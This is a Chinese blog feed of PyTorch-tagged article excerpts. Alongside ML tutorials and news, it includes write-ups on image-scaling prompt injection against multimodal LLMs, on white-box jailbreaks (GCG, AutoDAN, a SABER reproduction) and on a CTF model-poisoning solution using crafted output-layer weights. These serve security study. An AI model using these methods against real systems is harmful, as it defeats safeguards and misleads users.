xiaohack's Blog - PyTorch
type: channel
link: https://blog.xiaohack.org/tag/pytorch/
items: Qwen3-ASR 开源，支持 52 种语言和方言；AI 用户访谈 Trooly.AI 获近千万美元种子轮融资丨日报
items: 让 Q 值估计更准确：从 DQN 到 Double DQN 的改进方案
items: 详解 RNN 循环机制：短序列优势、长依赖问题及 LSTM 解决方案
items: SPSS与Python用Resblock优化BP神经网络分析慢性胃炎病历数据聚类K-means/AGNES、关联规则挖掘及预测
items: 新型提示词注入：image-scaling
items: 跨层残差绕过LLM内生安全
items: 深度对抗学习详解：从一道模型污染例题研究AI样本对抗技术的演进
items: vLLM pickle反序列化漏洞详细分析
items: 手把手教你进行论文复现，小白也能学会，赶紧收藏

Qwen3-ASR 开源，支持 52 种语言和方言；AI 用户访谈 Trooly.AI 获近千万美元种子轮融资丨日报
type: item
date: 2026-01-31T14:27:32+08:00
description: 开发者朋友们大家好：这里是 「RTE 开发者日报」，每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE（Real-Time Engagement） 领域内「有话题的技术」、「有亮点的产品」、「有思考的文章」、「有态度的观点」、「有看点的活动」，但内容仅代表编辑的个人观点，欢迎大家留言、跟帖、讨论。本期编辑：@瓒an、@鲍勃01 有话题的技术1、Qwen3-ASR 正式开源：包含三款模型，支持 52 种语言与方言Qwen 团队正式开源 Qwen3-ASR 系列，包括两个强大且全面的语音识别模型 Qwen3-ASR-1.7B 与 Qwen3-ASR-0.6B，以及一个创新的语音强制对齐模型 Qwen3-ForcedAligner-0.6B。 Qwen3-ASR 系列的语音识别模型支持 52 个语种与方言的语种识别与语音识别。依托预训练 AuT 语音编码器与 Qwen3-Omni 基座模型的多模态能力，Qwen3-ASR 系列实现了精准且稳定的识别效果。其中，1.7B 模型在中文、英文及歌唱识别等场景达到 SOTA，具备复杂文本识别能力及强噪声下的稳定性；0.6B 模型兼顾性能与效率，128 并发下吞吐量达 2000 倍（10 秒处理 5 小时音频）。两款模型均单模型支持 30 个语种及 22 个中文方言，支持流式/非流式一体化推理，最长可处理 20 分钟音频。Qwen3-ForcedAligner-0.6B 支持 11 种语言任意位置对齐，精度超越 WhisperX 等主流模型，单并发推理 RTF 仅 0.0089。目前，全套模型权重、结构及支持 vLLM 的推理框架已全部开源。在模型效果评估方面，Qwen3-ASR 系列在中文/英文、多语种、中文方言、歌声识别及复杂场景下均表现优异：英文场景：不仅在公开基准上达到最优，在覆盖 16 个国家口音的内部测试集中，整体表现优于 GPT-4o Transcribe、Gemini 系列、Doubao ASR 系列及 Whisper-large-v3。多语种场景：最高支持 30 种语言，在 20 个主流语种上，1.7B 模型全面超越现有开源模型，取得最佳平均 WER。中文与方言场景：在普通话、粤语及 22 种地区方言上整体领先，尤其在方言识别上，相比 Doubao-ASR 平均错误率降低了 20%（15.94 vs 19.85）。复杂场景：面对老人/儿童语音、极低信噪比、鬼畜重复等挑战，仍能保持极低的字/词错误率；歌唱识别支持带 BGM 的整首歌中/英文转写。此外，该系列在推理效率与对齐能力上也实现了突破。Qwen3-ASR-0.6B 模型在性能与效率间取得了平衡，无论离线或在线高并发场景，均能保持极低 RTF 与极高吞吐。配套推出的 Qwen3-ForcedAligner-0.6B 则支持 11 种语言的任意位置灵活对齐，其时间戳预测精度整体超过 WhisperX、NeMo-ForcedAligner 等主流方案。目前，Qwen3-ASR 系列模型已在 Github、HuggingFace 和 ModelScope 上线，相关论文及阿里云百炼 API 也已同步发布。Github:https://github.com/QwenLM/Qwen3-ASRHuggingFace:https://huggingface.co/collections/Qwen/qwen3-asr识别结果：蹦出来之后，左手、右手接一个慢动作，右边再直接拉到这上面之后，直接拉到这个轮胎上，上边再接过去之后，然后上边再直接拉到这个位置了之后，右边再直接这个位置接倒过去的之后，再倒一下，然后右边再直接抓住这个上边了之后，直接从这边上边过去了之后，直接抓住这个树杈，然后这个位置直接倒到这个树杈。识别结果：拨号，请再说一次，请说出您要拨打的号码。幺三五八幺八八七五七。一三五八二八八八幺八八。纠正纠正。九六九。纠正纠正，不是九六。识别结果：Okay, Charles. It looks like we have a problem with the radio. What happened? Yeah, someone spilled water on their machine. I uh, yeah. Charles, can you hear us? Mamma mia.（@千问 Qwen）2、Google 推出 LiteRT 推断框架：深度集成 NPU，实现跨平台统一高性能部署Google 正式推出继任 TensorFlow Lite 的端侧 AI 推断框架「LiteRT」。该框架完成了从经典机器学习向生成式 AI（GenAI）的架构演进，通过深度集成 NPU 加速和全新编排层，实现了跨 Android、i…

让 Q 值估计更准确：从 DQN 到 Double DQN 的改进方案
type: item
date: 2026-01-29T21:41:40+08:00
description: DQN 用max Q(s',a')计算目标值，等于在挑 Q 值最高的动作，但是这些动作中包括了那些因为估计噪声而被高估的动作，素以就会产生过估计偏差，直接后果是训练不稳定、策略次优。这篇文章要解决的就是这个问题，内容包括：DQN 为什么会过估计、Double DQN 怎么把动作选择和评估拆开、Dueling DQN 怎么分离状态值和动作优势、优先经验回放如何让采样更聪明，以及用 PyTorch 从头实现这些改进。最后还会介绍一个 CleanRL 的专业实现。过估计问题DQN 的目标值如下： y = r + γ·maxₐ' Q(s', a'; θ⁻)问题就在于，同一个网络既负责选动作（a* = argmax Q），又负责评估这个动作的价值。Q 值本身是带噪声的估计所以有时候噪声会让差动作的 Q 值偏高，取 max 操作天然偏向选那些被高估的动作。数学上有个直观的解释： E[max(X₁, X₂, ..., Xₙ)] ≥ max(E[X₁], E[X₂], ..., E[Xₙ])最大值的期望总是大于等于期望的最大值，这是凸函数的 Jensen 不等式。过估计会导致收敛变慢，智能体把时间浪费在探索那些被高估的动作上。其次是策略质量打折扣，高噪声的动作可能比真正好的动作更受青睐。更糟的是过估计会不断累积，导致训练发散。泛化能力也会受损——在状态空间的噪声区域，智能体会表现得过于自信。Double DQN：把选择和评估拆开标准 DQN 一个网络干两件事： a* = argmaxₐ' Q(s', a'; θ⁻) # 选最佳动作 y = r + γ · Q(s', a*; θ⁻) # 评估这个动作（同一个网络）Double DQN 用两个网络，各管一件： a* = argmaxₐ' Q(s', a'; θ) # 用当前网络选 y = r + γ · Q(s', a*; θ⁻) # 用目标网络评估当前网络（θ）选动作，目标网络（θ⁻）评估。两个网络的误差不相关这样最大化偏差就被打破了。为什么有效呢？假设当前网络把动作 a 的价值估高了，目标网络（参数不同）大概率不会犯同样的错。误差相互独立，倾向于抵消而非累加。最通俗的解释就是DQN 像是自己给菜打分、自己挑菜吃，这样烂菜可能就混进来了，而Double DQN 让朋友打分、你来挑，两边的误差对冲掉了。 Standard DQN: E[Q(s, argmaxₐ Q(s,a))] ≥ maxₐ E[Q(s,a)] （有偏） Double DQN: E[Q₂(s, argmaxₐ Q₁(s,a))] ≈ maxₐ E[Q(s,a)] （无偏）从 DQN 到 Double DQN，只需要改一行： # DQN 目标 next_q_values=target_network(next_states).max(1)[0] target=rewards+gamma*next_q_values* (1-dones) # Double DQN 目标 next_actions=current_network(next_states).argmax(1) # <- 用当前网络选 next_q_values=target_network(next_states).gather(1, next_actions.unsqueeze(1)) # <- 用目标网络评估 target=rewards+gamma*next_q_values.squeeze() * (1-dones)就这一行改动极小，效果却很明显。实现：Double DQN扩展 DQN Agent classDoubleDQNAgent(DQNAgent): """ Double DQN: 通过解耦动作选择和评估来减少过估计偏差。 """ def__init__(self, *args, **kwargs): """ 初始化 Double DQN agent。 从 DQN 继承所有内容，只改变目标计算。 """ super().__init__(*args, **kwargs) defupdate(self) ->Dict[str, float]: """ 执行 Double DQN 更新。 Returns: metrics: 训练指标 """ iflen(self.replay_buffer) <self.batch_size: return {} # 采样批次 states, actions, rewards, next_states, dones=self.replay_buffer.sample( self.batch_size ) states=states.to(self.device) actions=actions.to(self.device) …

让 Q 值估计更准确：从 DQN 到 Double DQN 的改进方案
type: item
date: 2026-01-29T21:31:37+08:00
description: DQN 用max Q(s',a')计算目标值，等于在挑 Q 值最高的动作，但是这些动作中包括了那些因为估计噪声而被高估的动作，素以就会产生过估计偏差，直接后果是训练不稳定、策略次优。这篇文章要解决的就是这个问题，内容包括：DQN 为什么会过估计、Double DQN 怎么把动作选择和评估拆开、Dueling DQN 怎么分离状态值和动作优势、优先经验回放如何让采样更聪明，以及用 PyTorch 从头实现这些改进。最后还会介绍一个 CleanRL 的专业实现。过估计问题DQN 的目标值如下： y = r + γ·maxₐ' Q(s', a'; θ⁻)问题就在于，同一个网络既负责选动作（a* = argmax Q），又负责评估这个动作的价值。Q 值本身是带噪声的估计所以有时候噪声会让差动作的 Q 值偏高，取 max 操作天然偏向选那些被高估的动作。数学上有个直观的解释： E[max(X₁, X₂, ..., Xₙ)] ≥ max(E[X₁], E[X₂], ..., E[Xₙ])最大值的期望总是大于等于期望的最大值，这是凸函数的 Jensen 不等式。过估计会导致收敛变慢，智能体把时间浪费在探索那些被高估的动作上。其次是策略质量打折扣，高噪声的动作可能比真正好的动作更受青睐。更糟的是过估计会不断累积，导致训练发散。泛化能力也会受损——在状态空间的噪声区域，智能体会表现得过于自信。Double DQN：把选择和评估拆开标准 DQN 一个网络干两件事： a* = argmaxₐ' Q(s', a'; θ⁻) # 选最佳动作 y = r + γ · Q(s', a*; θ⁻) # 评估这个动作（同一个网络）Double DQN 用两个网络，各管一件： a* = argmaxₐ' Q(s', a'; θ) # 用当前网络选 y = r + γ · Q(s', a*; θ⁻) # 用目标网络评估当前网络（θ）选动作，目标网络（θ⁻）评估。两个网络的误差不相关这样最大化偏差就被打破了。为什么有效呢？假设当前网络把动作 a 的价值估高了，目标网络（参数不同）大概率不会犯同样的错。误差相互独立，倾向于抵消而非累加。最通俗的解释就是DQN 像是自己给菜打分、自己挑菜吃，这样烂菜可能就混进来了，而Double DQN 让朋友打分、你来挑，两边的误差对冲掉了。 Standard DQN: E[Q(s, argmaxₐ Q(s,a))] ≥ maxₐ E[Q(s,a)] （有偏） Double DQN: E[Q₂(s, argmaxₐ Q₁(s,a))] ≈ maxₐ E[Q(s,a)] （无偏）从 DQN 到 Double DQN，只需要改一行： # DQN 目标 next_q_values=target_network(next_states).max(1)[0] target=rewards+gamma*next_q_values* (1-dones) # Double DQN 目标 next_actions=current_network(next_states).argmax(1) # <- 用当前网络选 next_q_values=target_network(next_states).gather(1, next_actions.unsqueeze(1)) # <- 用目标网络评估 target=rewards+gamma*next_q_values.squeeze() * (1-dones)就这一行改动极小，效果却很明显。实现：Double DQN扩展 DQN Agent classDoubleDQNAgent(DQNAgent): """ Double DQN: 通过解耦动作选择和评估来减少过估计偏差。 """ def__init__(self, *args, **kwargs): """ 初始化 Double DQN agent。 从 DQN 继承所有内容，只改变目标计算。 """ super().__init__(*args, **kwargs) defupdate(self) ->Dict[str, float]: """ 执行 Double DQN 更新。 Returns: metrics: 训练指标 """ iflen(self.replay_buffer) <self.batch_size: return {} # 采样批次 states, actions, rewards, next_states, dones=self.replay_buffer.sample( self.batch_size ) states=states.to(self.device) actions=actions.to(self.device) …

详解 RNN 循环机制：短序列优势、长依赖问题及 LSTM 解决方案
type: item
date: 2026-01-27T15:36:29+08:00
description: RNN 简介RNN（Recurrent Neural Network，循环神经网络）一般以序列数据为输入，通过网络内部的结构设计有效捕捉序列之间的关系特征，一般也以序列形式输出。RNN 的循环机制使模型隐层上一时间步产生的结果，能够作为当下时间步输入的一部分（当下时间步的输入除了正常的输入外还包括上一步的隐层输出）对当下时间步的输出产生影响。结构：三层（输入层、隐藏层、输出层；循环发生在隐藏层）1.1 RNN 模型的作用因为 RNN 结构能够很好利用序列之间的关系，因此针对自然界具有连续性的输入序列，如人类的语言、语音等进行很好处理，广泛应用于 NLP（自然语言处理）领域的各项任务，如文本分类、情感分析、意图识别、机器翻译等。语言处理示例2.1 PyTorch 中传统 RNN 的使用位置：在 torch.nn 中，通过 torch.nn.RNN 可调用。import torch import torch.nn as nn rnn = nn.RNN(5, 6, 2) # 实例化 rnn 对象 # 参数1：输入张量 x 的维度 - input_size # 参数2：隐藏层的维度（隐藏层神经元个数）- hidden_size # 参数3：隐藏层的层数 - num_layers # torch.randn - 随机产生正态分布的随机数 input1 = torch.randn(1, 3, 5) # 设定输入张量 x - 序列长 1，批次 3，维度 5 # 参数1：输入序列长度 - sequence_length # 参数2：批次的样本 - batch_size（表示：3 个样本） # 参数3：输入张量 x 的维度 - input_size h0 = torch.randn(2, 3, 6) # 设定初始化的 h0 # 第一个参数：num_layers * num_directions（层数 * 网络方向数（1 或 2）） # 第二个参数：batch_size（批次的样本数） # 第三个参数：hidden_size（隐藏层的维度） output, hn = rnn(input1, h0) # 最后输出和最后一层的隐藏层输出 print(output) print(output.shape) print(hn) print(hn.shape)1.2 RNN的局限：长期依赖（Long-TermDependencies）问题RNN的关键点之一就是他们可以用来连接先前的信息到当前的任务上，例如使用过去的视频段来推测对当前段的理解。如果RNN可以做到这个，他们就变得非常有用。但是真的可以么？答案是，还有很多依赖因素。有时候，我们仅仅需要知道先前的信息来执行当前的任务。例如，我们有一个语言模型用来基于先前的词来预测下一个词。如果我们试着预测这句话中“the clouds are in the sky”最后的这个词“sky”，我们并不再需要其他的信息，因为很显然下一个词应该是sky。在这样的场景中，相关的信息和预测的词位置之间的间隔是非常小的，RNN可以学会使用先前的信息。1.2 传统 RNN 优缺点优势：内部结构简单，对计算资源要求低；相较 LSTM/GRU 参数总量更少；在短序列任务上性能与效果表现优异。缺点：在长序列关联上表现较差；反向传播时易发生梯度消失或爆炸。NaN 值（Not a Number，非数）：是计算机科学中数值数据类型的一类值，表示未定义或不可表示的值。2.1 LSTM 模型简介Long ShortTerm 网络——一般就叫做LSTM——是一种RNN特殊的类型，可以学习长期依赖信息。当然，LSTM和基线RNN并没有特别大的结构不同，但是它们用了不同的函数来计算隐状态。LSTM的“记忆”我们叫做细胞/cells，你可以直接把它们想做黑盒，这个黑盒的输入为前状态和当前输入。这些“细胞”会决定哪些之前的信息和状态需要保留/记住，而哪些要被抹去。实际的应用中发现，这种方式可以有效地保存很长时间之前的关联信息。2.2 PyTorch 中 LSTM 的使用import torch import torch.nn as nn lstm = nn.LSTM(5, 6, 2) # 实例化 lstm 对象 # 参数1：输入张量 x 的维度 - input_size # 参数2：隐藏层的维度（隐藏层神经元个数）- hidden_size # 参数3：隐藏层的层数 - num_layers input1 = torch.randn(1, 3, 5) # 设定输入张量 x - 序列长 1，批次 3，维度 5 # 参数1：输入序列长度 - sequence_length # 参数2：批次的样本 - batch_size # 参数3：输入张量 x 的维度 -…

SPSS与Python用Resblock优化BP神经网络分析慢性胃炎病历数据聚类K-means/AGNES、关联规则挖掘及预测
type: item
date: 2026-01-27T15:35:25+08:00
description: 全文链接：https://tecdat.cn/?p=44893原文出处：拓端数据部落公众号关于分析师在此对Chang He对本文所作的贡献表示诚挚感谢，他在中国中医科学院完成了中医信息学专业的硕士学位，专注中医临床数据挖掘领域。擅长Python、深度学习、临床数据采集与挖掘。Chang He曾参与多项中医临床数据研究项目，聚焦慢性胃炎等常见消化类疾病的中药配伍规律挖掘，通过数据技术赋能传统中医用药研究，积累了丰富的临床数据处理与模型构建经验。专题名称：慢性胃炎中药用药规律数据挖掘与AI预测实践引言中医治疗慢性胃炎注重辨证施治与中药配伍，传统用药经验多依赖医师传承，难以快速提炼普适性规律并实现精准指导。随着大数据与人工智能技术的发展，通过数据挖掘解析病历中的中药配伍逻辑，结合神经网络构建用药预测模型，成为赋能中医临床诊疗的重要方向。本文围绕慢性胃炎住院病历数据，整合多种数据分析方法与AI模型，系统探索中药使用规律与用药预测路径，为临床合理用药提供数据支撑。本文内容改编自过往客户咨询项目的技术沉淀并且已通过实际业务校验，该项目完整代码与数据已分享至交流社群。阅读原文进群，可与800+行业人士交流成长；还提供人工答疑，拆解核心原理、代码逻辑与业务适配思路，帮大家既懂 怎么做，也懂 为什么这么做；遇代码运行问题，更能享24小时调试支持。本研究以两家医疗机构的慢性胃炎住院病历为核心数据，采用人工、VBA宏与大语言模型结合的方式提取并规范数据，通过SPSS系列工具与Python库实现频数分析、聚类分析、关联规则挖掘，同时构建含Resblock模块的神经网络模型，实现基于临床症状的中药预测。全文将先梳理数据处理与分析流程，再逐一呈现各环节结果，最后总结方法适用性与实际应用价值，同步配套核心代码供落地复用，兼顾理论性与实操性。项目文件目录研究方法与技术准备数据来源与处理本研究选取两家医疗机构的慢性胃炎住院病历作为研究对象，其中一家机构数据时间范围为2016年1月至2024年5月，聚焦中药配伍规律挖掘；另一家机构数据时间范围为2013年1月至2021年10月，用于神经网络模型构建，数据集含2214个样本、364种临床特征及469种中药。数据提取采用人工、VBA宏与大语言模型协同模式，既保障人工校验的准确性，又通过工具提升效率。数据规范化依据《中药学》新世纪版标准，统一中药名称、剂量等关键信息，为后续分析奠定基础。核心工具与方法说明分析工具：SPSS Modeler 18.0、SPSS Statistic 26.0、Python 3.11.5（Sklearn、Scipy、Pytorch 2.0.1模块），上述工具国内均可正常访问使用，无替代需求，其中Python相关模块可通过镜像源快速安装。分析方法：频数分布分析（提炼高频中药与临床特征）、聚类分析（K-means、AGNES，对比不同距离与连接法适用性）、关联规则挖掘（挖掘中药联用规律）、BP神经网络（含Resblock模块，优化症状到中药的预测精度）。核心代码适配与说明（数据提取环节）以下代码用于中药名称提取与数据清洗，优化变量名与语法结构，适配中文文本处理需求，省略部分重复数据校验代码：import pandas as pdimport re# 读取Excel格式的病历数据文件input_excel = '病历数据.xlsx' # 替换为实际数据文件路径data_df = pd.read_excel(input_excel)# 定义汉字提取函数，过滤非中文内容（保留中药名称）def get_chinese_content(text): # 正则表达式匹配中文汉字范围 chinese_characters = ''.join(re.findall(r'[\u4e00-\u9fff]+', str(text))) return chinese_characters# 对中药名称列应用提取函数，清洗数据data_df['中药名称'] = data_df['中药名称'].astype(str).apply(get_chinese_content)# 保存清洗后的数据至新文件output_excel = '清洗后病历数据.xlsx'data_df.to_excel(output_excel, index=False, engine='openpyxl')print(f"数据清洗完成，结果已保存至 {output_excel}")代码功能：针对病历数据中的中药名称列进行清洗，提取纯中文内容，剔除符号、数字等干扰项，保障后续分析数据的规范性。省略部分为数据去重、空值填充逻辑，可根据实际数据质量补充。研究结果与分析频数分析结果本次分析共涉及281种中药、7375个用药实例，平均每张处方开具15种中药。其中甘…

新型提示词注入：image-scaling
type: item
date: 2026-01-27T09:03:17+08:00
description: 引言在多模态AI系统中，图像处理链已成为一个新兴的安全漏洞点。Trail of Bits的安全研究人员最近揭示了一种巧妙的攻击方法：通过利用图像缩放算法，在高分辨率图像中嵌入隐藏的提示词。这些隐藏指令在图像被AI系统下采样时才会显现，从而触发提示注入，导致潜在的数据泄露或其他恶意行为。该技术已证明对谷歌的Gemini CLI、Vertex AI等生产级系统有效，尽管谷歌视其为默认配置下的非正式漏洞，但它暴露了AI图像预处理链的普遍弱点。这项攻击源于2020年的图像缩放攻击理论，已被进一步武器化为针对LLM的间接提示注入工具。研究人员开源了Anamorpher框架，允许用户生成和测试此类攻击图像。本文档将从原理入手，逐步剖析攻击机制、工具实现、实际效果及防御策略，帮助读者全面理解这一威胁，并探讨其在AI安全领域的启示。常见图像缩放算法在机器学习和图像处理领域，图像缩放算法是预处理链中的关键组件，常用于调整输入图像尺寸以匹配模型要求。这些算法主要通过插值方法计算新像素值，尤其在下采样（缩小图像）时易受攻击影响。现代框架如OpenCV、Pillow（用于PyTorch）、tf.image（TensorFlow）和scikit-image支持多种算法，但实现细节（如抗锯齿选项或默认参数）可能导致跨库差异，从而要求攻击者进行针对性优化。以下表格概述了常见算法的核心机制、优缺点，以及在ML库中的典型实现和攻击相关性（基于2025年最新实践，包括对多模态AI系统的潜在漏洞）： 算法名称 核心机制 优缺点分析 ML库实现与攻击相关性 最近邻插值（Nearest Neighbor） 直接选取最近像素值作为输出像素，无需计算平均或多项式。 速度最快，但易产生锯齿和块状失真，适合实时应用。 Pillow和OpenCV默认支持，默认偏移参数（如Pillow的offset=2）易于精确操纵单个像素，常用于强攻击以最小扰动注入隐藏模式。 双线性插值（Bilinear） 使用2x2邻域像素进行线性加权平均，先水平后垂直插值。 平衡速度与质量，输出稍模糊，抗锯齿效果中等。 OpenCV和TensorFlow广泛使用，支持抗锯齿选项；权重矩阵简单（中心2x2区域），攻击需优化暗区像素以绕过检测。 双三次插值（Bicubic） 基于4x4邻域的三次多项式插值，使用更多像素计算平滑曲线。 输出更平滑、自然，但计算密集，速度较慢。 TensorFlow、OpenCV和scikit-image优化实现；滤波器参数差异大，攻击涉及复杂约束优化，但提供更高隐蔽性。 Lanczos 采用sinc函数对扩展邻域（通常8x8或更大）进行加权滤波。 高质量，减少振铃效应，但易受莫尔纹干扰，计算量大。 scikit-image和SciPy专用于专业处理；权重分布广，攻击需操纵更多像素，适用于弱攻击以最大化视觉差异。 区域平均（Area） 计算目标像素对应原始区域的像素平均值，类似于盒滤波。 简单高效，专用于下采样，避免锯齿，但细节丢失多。 Pillow优化用于图像缩小；平均化特性要求攻击分布扰动于整个区域，易于检测但在ML管道中常见。 这些算法在2025年的ML生态中（如PyTorch、TensorFlow）常与图像增强或超分辨率技术结合使用，例如结合深度学习模型（如ISR）来提升质量，但也增加了攻击表面。 选择算法时需考虑计算效率与视觉保真度，尤其在多模态AI系统中，下采样漏洞可能被利用注入恶意提示。图像缩放攻击原理图像缩放攻击是一种针对机器学习预处理阶段的对抗技术，主要利用下采样（图像缩小）过程中的像素丢弃和加权机制。通常，原始图像尺寸超过模型输入要求，因此系统会自动缩放，导致部分像素信息丢失。这一漏洞允许攻击者操纵输入图像，使其在人类眼中正常，但缩放后输出完全不同，从而误导下游AI模型或应用。关键定义 图像 S：原始源图像（大小 m×n），攻击者希望攻击图像在视觉上与之相似。 图像 A：攻击输入图像（大小 m×n），作为缩放函数的输入，包含隐藏扰动。 图像 D：缩放输出（大小 m'×n'），实际传递给模型的图像。 图像 T：目标图像（大小 m'×n'），攻击者期望D与之匹配，通常嵌入恶意内容（如隐藏提示词）。 攻击目标攻击有两个主要目标： 最小化扰动：对S施加最小修改生成A，确保A与S在人类感知中几乎相同（e.g., 使用L2范数量化视觉相似度）。 输出控制：确保缩放后的D与T高度相似（误差在阈值内），从而实现语义欺骗，如将羊图像缩放后变为狼以绕过分类器。 信号处理视角的解释攻击根源于下采样与卷积的交互作用。现代缩放过程包括： 插值计算：使用卷积核（滤波器，如bilinear权重）对原始像素加权求和。 下采样：根据输出尺寸丢弃像素，仅保留部分信息。 缩放函数本质上是欠采样（s…

跨层残差绕过LLM内生安全
type: item
date: 2026-01-24T19:35:06+08:00
description: 2025年LLM的内容安全已经有质的飞跃了，比如模型内生安全、外挂的内容安全围栏、安全改写模型等手段，基于提示词工程的黑盒攻击逐渐难以突破愈发完善的防御机制，而白盒攻击通过直接操纵模型内部状态，展现较高的攻击成功率，但往往攻击成本也很高，下面将展开描述最近行业内的LLM白盒攻击是如何实现的。0x01 传统白盒越狱1.1 离散优化阶段：基于梯度的字符搜索这是LLM白盒攻击的起点，代表技术为贪婪坐标梯度法（GCG）。 核心机制：将越狱视为离散优化任务，利用模型的梯度信息寻找一组对抗性后缀。攻击者通过计算每个字符替换对损失函数的影响，挑选能最大化地让模型输出肯定性回答（如，"Sure, here is..."）概率的字符 。 攻击痛点：生成的后缀通常是无意义的“乱码”或乱序Token，极易被基于困惑度的过滤器拦截 。 1.2 语义演化阶段：遗传算法与结构化变异为了解决GCG隐蔽性差的问题，研究者引入了遗传算法，代表技术为 AutoDAN。 核心机制：采用层次化遗传算法，在保留提示词语义连贯性的基础上进行对抗性优化。它通过词级变异和句级交叉，生成的攻击指令在人类看来具有合理的逻辑结构。然后开始出现混合攻击（GCG+PAIR），利用大模型作为优化器自动迭代攻击模板。 攻击痛点：AutoDAN 虽然提升了隐蔽性，但其高度依赖初始模板、计算开销巨大，且难以直接应用在不开放概率分布的黑盒模型上。 0x02 LLM机制可解释性研究在白盒攻击中，精确定位模型内部负责安全过滤的关键层是实施高效干预的前提。但在标准的 Transformer 实现里，研究者往往只方便拿到输入和输出；要稳定地获取中间激活、精确定位到“某一层/某一处张量”，并在前向过程中做可控干预，工程成本比较高。为了解决这类“可观测、可干预性不足”的问题，那么就需要 TransformerLens 这类工具用于 LLM 的机制可解释性研究。TransformerLens 核心是 HookedTransformer 类，它继承自 PyTorch 的 Hook 机制，在每个关键位置插入了HookPoint。这些 HookPoint 会在前向传播时捕获并缓存所有中间激活值，包括注意力模式、MLP输出、残差流等。这里我举个例子，比如在分析 "The capital of France is" -> "Paris" 这类唯一解问题时，TransformerLens 会首先添加词嵌入和位置嵌入作为残差流的起点，依托PyTorch Hook 机制，在 TransformerBlock 内部关键计算节点植入 HookPoint，不仅能追踪进入块之前（resid_pre）、注意力处理后（resid_mid）以及 MLP 处理后（resid_post）的完整残差流状态，还能实现组件级观测，针对每一层单独提取注意力机制和 MLP 的输出。其中，注意力输出捕获 "France" 与 "capital" 之间的语义关联，MLP 输出负责更复杂的推理过程，并将所有组件堆叠成 shape 为 [组件数，批次，位置，d_model] 的统一张量；然后凭借残差空间与词表双向映射，通过 tokens_to_residual_directions() 方法利用模型解嵌入矩阵W_U将目标词 "Paris" 映射为残差空间中的方向向量，再借助 Logit Lens（贡献量化）方法，通过 apply_ln_to_stack() 自动适配每层不同的 LayerNorm 或 RMSNorm 缩放因子，对所有组件做一致性的缩放校正，并将每个残差流组件与 "Paris" 方向向量进行点积运算，得到的 Logit 数值就是各组件对 "Paris" 预测的贡献度（数值越大贡献越大），这样就成功建立起隐藏层向量与具体词语的关联。最后可以通过固定参数微调的方式，freeze 其他层，对关键层“旁挂”指定的数据，观测是否可以将 "Paris" 替换成其他答案，从而验证这一层是否为真正的关键层。下图是一个demo实验结果，观测 Qwen3:8B 模型，得出27层对于 "Paris" 结果的贡献度可能最大。这里可以观察到，一般在模型的最后几层是权重比较大的层，很可能影响最终的推理结果。0x03 跨层残差绕过LLM内生安全SABER (Safety Alignment Bypass via Extra Residuals) 是来自印度理工学院德里分校的研究团队在2025年提出的一种新型白盒越狱方法，该方法通过跨层残差连接绕过了LLM的内生安全，提高了攻击成功率。我发现这个项目没有公开实验数据集和代码，目前全网还没有人复现，感觉挺有意思的，所以结合 TransformerLens 尝试复现。3.1 原理 加载模型并包装 Hook 机制，利用 PyTorc…

深度对抗学习详解：从一道模型污染例题研究AI样本对抗技术的演进
type: item
date: 2026-01-24T18:23:37+08:00
description: 我们首先用一道题目来引出今天的话题。0xGame 2025 Week4 - 旧吊带袜天使:想吃真蛋糕的Stocking题目提供了一个基于PyTorch的CNN图像分类模型 SimpleDessertClassifier,用于识别三种类型的甜点:​模型结构:卷积层: 提取图像特征(3→32→64→128通道)自适应池化: 统一输出为7×7特征图全连接层: 128×7×7 → 256 → 128 → 3(三类输出)在PyTorch的state_dict中,最后一层(输出层)的参数命名为:'classifier.5.weight': 形状 (3, 128) - 权重矩阵'classifier.5.bias': 形状 (3,) - 偏置向量在app.py中的判断逻辑:​我们要想拿到flag必须满足一下条件cake_confidence < 24 - 蛋糕的置信度小于24poisoned_apple_confidence > cake_confidence - 毒苹果置信度大于蛋糕置信度模型上传接口​检查了文件扩展名，使用了weights_only加载，但是没有验证模型参数的合理性，这就是漏洞点。根据PyTorch官方文档,load_state_dict要求:●键名必须完全匹配●张量形状必须完全匹配这使得我们可以精确控制模型参数,特别是输出层的参数。核心思路1CNN卷积层和中间层难以预测和控制2但输出层(最后一个Linear层)直接影响三个类别的logits输出3通过操纵输出层的weight和bias,可以直接控制各类别的置信度数学原理:如果我们设:● weight = 0 (全零矩阵)●bias = [-10.0, 10.0, 0.0]则:●Cake logit ≈ -10.0 (置信度极低)●Poisoned Apple logit ≈ 10.0 (置信度极高)●Other logit ≈ 0.0 (置信度中等)这样就满足了获取flag的条件。神经网络输出层机制在PyTorch中,未经softmax的输出称为logits:Softmax转换:当差异较大时:● logit_poison = 10.0 → exp(10) ≈ 22026● logit_cake = -10.0 → exp(-10) ≈ 0.000045●poison_confidence ≈ 99.99%●cake_confidence ≈ 0.0002%满足 cake_confidence < 24 和 poisoned_apple_confidence > cake_confidence。exp第一次遇到模型污染攻击的题目，我们来总结一下AI样本对抗的一些内容和知识点。一、对抗性威胁1.1 问题背景2014年，Szegedy等人首次发现了一个令人震惊的现象：深度神经网络对输入数据的微小扰动异常敏感[1]。通过在图像上添加精心设计的扰动，这些扰动在人类观察者看来几乎不可察觉，却能让分类器的准确率从90%以上骤降至接近0%。这一发现揭开了对抗性机器学习研究的序幕。更令人担忧的是，对抗样本具有迁移性（Transferability）——在某一个模型上生成的对抗样本，往往能够成功攻击其他架构完全不同的模型。这一特性使得对抗攻击在实际应用场景中构成严重威胁。1.2 现实威胁案例自动驾驶系统：研究者通过在停车标志上添加精心设计的贴纸，成功欺骗目标检测模型将其识别为限速标志[2]。这种物理对抗攻击直接威胁道路交通安全。人脸识别系统：通过佩戴特殊设计的眼镜框，攻击者可以绕过基于深度学习的人脸验证系统[3]。这种对抗性眼镜的图案对人类观察者而言只是普通的装饰，但对神经网络而言却是致命的扰动。恶意软件检测：对抗样本技术已被应用于恶意PDF文件的生成，使得能够绕过基于机器学习的检测系统[4]。这表明对抗性威胁不仅限于视觉领域。1.3 对抗样本的定义二、对抗样本的产生机理2.1 线性假设解释2.2 决策边界理论从决策边界（Decision Boundary）的角度看，对抗样本反映了模型决策边界的扭曲特性。在高维空间中，决策边界的复杂度远超人类直觉。研究表明，深度神经网络的决策边界呈现出"指状突起"（Finger-like protrusions）结构[6]。这些细长的突起深入到各个类别的区域，使得在任何数据点附近都存在通往其他类别的低扰动路径。2.3 流形视角另一种解释基于数据流形（Manifold）理论。自然图像在高维像素空间中实际上分布在一个低维流形上。深度神经网络学习的是这个流形上的概率分布。对抗样本位于流形之外，但非常接近流形表面。模型在流形之外的区域行为不可控，容易被扰动误导。这类似于"分布外泛化"（Out-of-Distribution 